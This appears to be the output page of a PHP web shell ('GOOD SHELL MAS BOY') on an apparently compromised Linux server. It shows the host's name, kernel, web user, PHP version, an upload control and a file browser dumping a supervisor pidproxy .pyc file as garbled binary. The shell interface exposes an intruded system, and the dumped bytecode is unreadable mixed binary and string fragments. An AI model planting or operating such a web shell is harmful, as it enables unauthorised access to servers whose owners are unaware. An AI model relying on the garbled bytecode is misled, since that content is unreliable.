GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: //lib/python3/dist-packages/supervisor/__pycache__/pidproxy.cpython-310.pyc
o

�X[_a�@sPdZddlZddlZddlZddlZGdd�d�Zdd�Zedkr&e�dSdS)z{ An executable which proxies for a subprocess; upon a signal, it sends that
signal to the process identified by a pidfile. �Nc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�PidProxyNc	Csj|��z|d|dd�|_}tj�|d�|_||_WdSttfy4|�	�t
�d�YdSw)N��r)�
setsignals�pidfile�os�path�abspath�command�cmdargs�
ValueError�
IndexError�usage�sys�exit)�self�argsr�r�5/usr/lib/python3/dist-packages/supervisor/pidproxy.py�__init__
s�zPidProxy.__init__cCsZt�tj|j|j�|_	t�d�zt�dtj	�d}Wnt
y'd}Ynw|r,dSq)Nr����r)r�spawnv�P_NOWAITr
r�pid�time�sleep�waitpid�WNOHANG�OSError)rrrrr�gos
��zPidProxy.gocCstd�dS)Nz4pidproxy.py <pidfile name> <command> [<cmdarg1> ...])�print�rrrrr"szPidProxy.usagecCstt�tj|j�t�tj|j�t�tj|j�t�tj|j�t�tj|j�t�tj|j�t�tj|j	�dS�N)
�signal�SIGTERM�passtochild�SIGHUP�SIGINT�SIGUSR1�SIGUSR2�SIGQUIT�SIGCHLD�reapr"rrrr%szPidProxy.setsignalscCsdSr#r)r�sig�framerrrr-.sz
PidProxy.reapcCs�z t|jd��}t|�����}Wd�n1swYWn
td|j�YdSt�||�|tj	tj
tjfvrEt�
d�dSdS)N�rzCan't read child pidfile %s!r)�openr�int�read�stripr!r�killr$r%r(r+rr)rr.r/�frrrrr&2s���zPidProxy.passtochild)
�__name__�
__module__�__qualname__rrr rrr-r&rrrrrs
	rcCsttj�}|��dSr#)rr�argvr )�pprrr�main=s
r<�__main__)�__doc__rrr$rrr<r7rrrr�<module>s2
�